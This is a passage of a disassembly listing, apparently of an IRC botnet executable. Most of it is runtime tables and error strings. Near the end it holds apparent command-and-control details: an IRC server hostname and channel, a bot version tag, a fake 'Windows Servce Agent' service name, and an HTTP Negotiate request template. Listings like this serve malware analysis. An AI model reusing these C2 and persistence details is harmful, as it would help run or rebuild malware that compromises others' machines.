XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F063Ah, 2600000h, 2600A52h dd 2600AF5h, 2610000h, 261005Dh, 2610794h, 2620000h, 2620556h dd 2620784h, 2630000h, 26302D5h dword_42703C dd 26302FAh ; DATA XREF: ___:004231D9r dd 26303CDh, 263061Bh, 2630640h, 263074Eh, 2640000h, 26410C5h dd 2650000h, 2650383h, 26508AEh, 77E75CB5h dword_427068 dd 26508C8h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2650C14h, 2660000h, 266091Fh dword_427078 dd 2660D05h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2660D86h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 2670000h dword_427084 dd 2670101h ; DATA XREF: sub_4196BC+B9r dd 26705BCh dword_42708C dd 267064Ch ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 26706B0h ; DATA XREF: ___:loc_4013DCr dd 2670AA6h, 2670B81h dword_42709C dd 2670C94h ; DATA XREF: sub_409B12+2r dd 2670D84h, 2680000h dword_4270A8 dd 268068Bh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 26806FFh ; DATA XREF: sub_410CD5:loc_410DC1r dd 2690000h, 2690B36h dword_4270B8 dd 2690BE7h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26A0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26B0000h, 26C0000h, 26C05C3h, 26D0000h, 77F7E300h, 77F7E21Fh dd 26D05C5h, 26D075Ch, 26E0000h, 26E0991h dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26F09A7h ; DATA XREF: sub_418293+36r dd 26F0C38h, 2700000h dword_4270F8 dd 2700522h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2720000h, 2730000h, 2730B98h, 2740000h, 2740918h, 2750000h dd 2750346h, 2760000h, 2760A13h, 2760CD2h, 2760DC9h, 2770000h dd 27707BAh, 2770B1Eh, 2780000h dword_42713C dd 2780314h ; DATA XREF: sub_416F1A+BCr dd 2790000h dword_427144 dd 27A0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27A0B03h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27A0B8Dh dword_427150 dd 27B0000h ; DATA XREF: sub_417275+56r dd 27B02D3h, 27C0000h, 27D0000h, 27D0666h, 27E0000h, 27E036Ch dd 27E04D4h, 27F0000h, 27F06A1h, 2800000h dword_42717C dd 2810000h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2820000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 282111Bh, 282160Ch, 2821A54h, 2830000h, 2840000h, 2850000h dd 2860000h, 2870000h, 2880000h, 2890000h, 2891949h, 289196Ch dd 28A0000h, 28A0D69h, 28B0000h dword_4271C0 dd 28B0563h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28B06D6h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28B082Fh, 28C0000h, 28C076Dh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C544o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C540o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C7BCo dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C98Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D0B4o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D0B4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D0CC ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D0CC dd offset dword_427E18+4 off_427E40 dd offset off_43D0EC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0EC dd offset unk_427E68 off_427E8C dd offset off_43D10C ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D10C dd offset dword_427EB0+4 off_427ED8 dd offset off_43D130 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D130 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D0B4 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D0B4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D0CC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0EC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D10C align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(0C5F9FF0h), 5 dup(0F562A23h), 5 dup(293B25E7h) dd 7Ah dup(0) dd 293B25E7h, 0 dd 0C5F9FF0h, 15h dup(0) dd 0F562A23h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: 